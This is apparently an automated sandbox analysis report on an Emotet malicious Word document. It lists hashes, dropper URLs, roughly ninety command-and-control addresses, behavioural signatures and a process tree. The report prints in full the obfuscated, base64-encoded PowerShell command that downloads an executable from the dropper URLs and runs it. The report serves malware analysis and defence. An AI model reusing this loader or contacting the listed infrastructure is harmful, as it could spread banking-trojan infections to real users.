emotet | 9aa6d84f75ffca251bb16890d6587306d655a61bc218cf7459688ba4526090b8

Analysis

max time kernel
136s
max time network
143s
platform
windows10_x64
resource
win10
submitted
15/09/2020, 15:07

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General

Target
emotet_e2_9aa6d84f75ffca251bb16890d6587306d655a61bc218cf7459688ba4526090b8_2020-09-15__150248._doc.doc
Size 158KB
Sample200915-qa7y39tefj
SHA256 9aa6d84f75ffca251bb16890d6587306d655a61bc218cf7459688ba4526090b8
MD5 276ea0f112793b1137d17e9c312cc930
SHA1 45767890ca1347414492e9aeb687ea6f7629a7e1
SHA512 bf1f63ebb75f8d5f72e86d35b66c652fba57e69679b57f27a4aa0485e966bdec079a057764333fcebbccb584ad5b80e2d1270ef51d723f347dd58e351d5e481f
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://case.gonukkad.com/sys-cache/CjT/
exe.dropper
https://starrcoin.net/wp-admin/YT/
exe.dropper
http://modelaw.devkind.com.au/wp-admin/cvDRmGK/
exe.dropper
http://dprkp.palembang.go.id/sys-cache/7Y4aHw/
exe.dropper
http://completeguideblogging.com/euiot/PAuJG/
exe.dropper
http://qutiche.cn/wp-admin/Q/
exe.dropper
https://shiva-engineering.com/1cj/tKemHV7/

Extracted

Family

emotet

220.245.198.194:80
104.156.59.7:8080
120.138.30.150:8080
139.59.67.118:443
139.130.242.43:80
104.32.141.43:80
156.155.166.221:80
121.7.127.163:80
153.177.101.120:443
162.241.242.173:8080
91.211.88.52:7080
95.179.229.244:8080
103.86.49.11:8080
139.59.60.244:8080
121.124.124.40:7080
104.131.11.150:443
200.114.213.233:8080
82.225.49.121:80
79.98.24.39:8080
5.196.74.210:8080
61.19.246.238:443
188.219.31.12:80
94.200.114.161:80
110.145.77.103:80
203.153.216.189:7080
62.30.7.67:443
47.144.21.12:443
181.169.34.190:80
174.45.13.118:80
87.106.139.101:8080
79.137.83.50:443
1.221.254.82:80
78.187.156.31:80
83.169.36.251:8080
195.251.213.56:80
110.5.16.198:80
24.43.99.75:80
139.162.108.71:8080
139.99.158.11:443
85.105.205.77:8080
75.139.38.211:80
50.91.114.38:80
176.111.60.55:8080
24.137.76.62:80
62.75.141.82:80
94.23.237.171:443
37.139.21.175:8080
74.208.45.104:8080
200.123.150.89:443
85.214.28.226:8080
68.188.112.97:80
203.117.253.142:80
94.23.216.33:80
137.119.36.33:80
169.239.182.217:8080
124.41.215.226:80
84.39.182.7:80
168.235.67.138:7080
194.187.133.160:443
219.74.18.66:443
61.92.17.12:80
187.161.206.24:80
85.152.162.105:80
50.35.17.13:80
104.236.246.93:8080
140.186.212.146:80
24.179.13.119:80
120.150.60.189:80
109.74.5.95:8080
5.39.91.110:7080
42.200.107.142:80
87.106.136.232:8080
93.147.212.206:80
74.120.55.163:80
107.5.122.110:80
78.24.219.147:8080
37.187.72.193:8080
95.213.236.64:8080
209.141.54.221:8080
185.94.252.104:443
213.196.135.145:80
157.245.99.39:8080
172.91.208.86:80
97.82.79.83:80
153.232.188.106:80
137.59.187.107:8080
201.173.217.124:443
104.131.44.150:8080
174.102.48.180:443
89.216.122.92:80
94.1.108.190:443
46.105.131.79:8080
82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3308	1484	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	3308	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3992	Ui0i6m6.exe
1628	shell32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\RmClient\shell32.exe	Ui0i6m6.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3496	WINWORD.EXE
3496	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3308	powershell.exe
3308	powershell.exe
3308	powershell.exe
1628	shell32.exe
1628	shell32.exe
1628	shell32.exe
1628	shell32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3308	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3496	WINWORD.EXE
3496	WINWORD.EXE
3496	WINWORD.EXE
3496	WINWORD.EXE
3496	WINWORD.EXE
3496	WINWORD.EXE
3496	WINWORD.EXE
3496	WINWORD.EXE
3496	WINWORD.EXE
3992	Ui0i6m6.exe
3992	Ui0i6m6.exe
1628	shell32.exe
1628	shell32.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3308 wrote to memory of 3992	3308	powershell.exe	81
PID 3308 wrote to memory of 3992	3308	powershell.exe	81
PID 3308 wrote to memory of 3992	3308	powershell.exe	81
PID 3992 wrote to memory of 1628	3992	Ui0i6m6.exe	83
PID 3992 wrote to memory of 1628	3992	Ui0i6m6.exe	83
PID 3992 wrote to memory of 1628	3992	Ui0i6m6.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_9aa6d84f75ffca251bb16890d6587306d655a61bc218cf7459688ba4526090b8_2020-09-15__150248._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABVADkAcABmAHcAeQBqAD0AKAAoACcAQgA2ACcAKwAnAF8AJwApACsAKAAnAG8AOABfACcAKwAnAHAAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAHIAUABSAG8ARgBJAEwAZQBcAEsAWABmAEUARAAxADQAXABEAFMANQA4ADMAUgBoAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBgAGkAYABUAHkAUAByAG8AdABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAdABsAHMAJwArACcAMQAxACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAFMAYQBrAGYAegBuAHoAIAA9ACAAKAAoACcAVQAnACsAJwBpADAAaQAnACkAKwAoACcANgBtACcAKwAnADYAJwApACkAOwAkAEkAbwBqAGgAMgBqAGEAPQAoACgAJwBWAF8AJwArACcAbgAzADAAdAAnACkAKwAnAHUAJwApADsAJABNAGYAagBuAHoAdQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwBLAGsASwB4ACcAKwAnAGYAZQBkACcAKwAnADEANAA5AEsAawBEAHMAJwApACsAJwA1ADgAJwArACgAJwAzAHIAJwArACcAaAA5AEsAJwArACcAawAnACkAKQAgAC0AcgBlAFAAbABBAGMAZQAgACgAJwA5ACcAKwAnAEsAawAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQAUwBhAGsAZgB6AG4AegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEsAdwBjAGkAMgBvADkAPQAoACcAQgB0ACcAKwAoACcAZQAnACsAJwB1AHQAMABxACcAKQApADsAJABIAGoAOAA3AGwANgBiAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBCAGMATABJAEUAbgB0ADsAJABEAGkAeAB6AG8AZwBlAD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwBjACcAKwAnAGEAJwArACcAcwAnACkAKwAoACcAZQAuAGcAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwB1AGsAawBhAGQALgBjACcAKQArACcAbwBtACcAKwAnAC8AJwArACcAcwAnACsAKAAnAHkAcwAnACsAJwAtAGMAYQAnACkAKwAoACcAYwBoAGUALwAnACsAJwBDACcAKQArACgAJwBqACcAKwAnAFQALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AcwAnACsAJwB0AGEAcgAnACsAJwByAGMAbwAnACsAJwBpAG4ALgAnACsAJwBuACcAKQArACcAZQAnACsAKAAnAHQALwAnACsAJwB3AHAALQBhAGQAbQBpAG4AJwArACcALwBZACcAKwAnAFQALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvACcAKwAnAG0AbwBkAGUAbABhAHcAJwArACcALgBkACcAKwAnAGUAdgAnACkAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAuACcAKQArACgAJwBhAHUAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYQBkACcAKQArACgAJwBtAGkAJwArACcAbgAnACsAJwAvAGMAJwArACcAdgBEACcAKwAnAFIAbQBHAEsALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAZABwAHIAawBwAC4AJwArACcAcAAnACkAKwAnAGEAbAAnACsAKAAnAGUAbQBiAGEAbgAnACsAJwBnACcAKQArACcALgAnACsAJwBnACcAKwAoACcAbwAuACcAKwAnAGkAZAAvAHMAeQBzAC0AJwArACcAYwBhACcAKwAnAGMAJwApACsAKAAnAGgAZQAvADcAJwArACcAWQA0AGEAJwApACsAKAAnAEgAJwArACcAdwAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAHAAbABlAHQAZQBnACcAKQArACgAJwB1ACcAKwAnAGkAZABlAGIAJwApACsAJwBsACcAKwAnAG8AZwAnACsAJwBnACcAKwAoACcAaQBuACcAKwAnAGcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBlAHUAaQBvAHQAJwApACsAKAAnAC8AUABBACcAKwAnAHUASgBHACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AcQAnACsAJwB1AHQAaQAnACsAJwBjAGgAZQAnACkAKwAoACcALgBjACcAKwAnAG4AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAnAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwAvACcAKQArACgAJwBRAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcwAnACkAKwAoACcAaABpAHYAYQAtACcAKwAnAGUAbgAnACsAJwBnAGkAbgBlACcAKwAnAGUAcgAnACsAJwBpAG4AJwArACcAZwAuAGMAbwBtACcAKwAnAC8AMQBjACcAKwAnAGoALwB0AEsAJwArACcAZQAnACkAKwAoACcAbQBIACcAKwAnAFYAJwApACsAJwA3AC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAeQA1AGgAcABiADQAPQAoACcAVwAxACcAKwAoACcAdgA5ACcAKwAnAHgAJwApACsAJwB5AGwAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUQByAG8AbQA2AGEAcgAgAGkAbgAgACQARABpAHgAegBvAGcAZQApAHsAdAByAHkAewAkAEgAagA4ADcAbAA2AGIALgAiAGQAYABPAFcAbgBMAG8AQQBgAEQARgBgAEkATABlACIAKAAkAFEAcgBvAG0ANgBhAHIALAAgACQATQBmAGoAbgB6AHUAZgApADsAJABSAGgANQBpAGsAeABfAD0AKAAnAE0AZQAnACsAKAAnAGUAaABmAHEAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABNAGYAagBuAHoAdQBmACkALgAiAGwARQBgAE4AYABnAHQAaAAiACAALQBnAGUAIAAzADYAOQAzADEAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQATQBmAGoAbgB6AHUAZgApADsAJABYAHoAawB6AG0AbQBuAD0AKAAoACcARwAnACsAJwBuAGEANQAnACkAKwAnAF8AJwArACcAcwBwACcAKQA7AGIAcgBlAGEAawA7ACQAVwA3AGwAZgBoAGcAcQA9ACgAKAAnAFcAMgBrACcAKwAnADgAdwB5ACcAKQArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAcAAxAF8AYQB1AG0APQAoACcATQAnACsAKAAnAHEAYgBqAF8AJwArACcAZQByACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe
  "C:\Users\Admin\Kxfed14\Ds583rh\Ui0i6m6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3992
- - C:\Windows\SysWOW64\RmClient\shell32.exe
    "C:\Windows\SysWOW64\RmClient\shell32.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1628-18-0x00000000020B0000-0x00000000020C0000-memory.dmp

Download

memory/1628-17-0x0000000000820000-0x0000000000832000-memory.dmp

Download

memory/3308-8-0x000001FCACC50000-0x000001FCACC51000-memory.dmp

Download

memory/3308-7-0x00007FF8783A0000-0x00007FF878D8C000-memory.dmp

Download

memory/3308-9-0x000001FCACE00000-0x000001FCACE01000-memory.dmp

Download

memory/3496-0-0x00007FF87FC80000-0x00007FF880346000-memory.dmp

Download

memory/3496-6-0x000001D858AE5000-0x000001D858AEA000-memory.dmp

Download

memory/3496-5-0x000001D858AE5000-0x000001D858AEA000-memory.dmp

Download

memory/3496-4-0x000001D858AE4000-0x000001D858AE5000-memory.dmp

Download

memory/3496-3-0x000001D858715000-0x000001D85875B000-memory.dmp

Download

memory/3496-2-0x000001D858AE5000-0x000001D858AEA000-memory.dmp

Download

memory/3496-1-0x000001D858995000-0x000001D858998000-memory.dmp

Download

memory/3992-13-0x0000000000A60000-0x0000000000A72000-memory.dmp

Download

memory/3992-14-0x0000000000A80000-0x0000000000A90000-memory.dmp

Download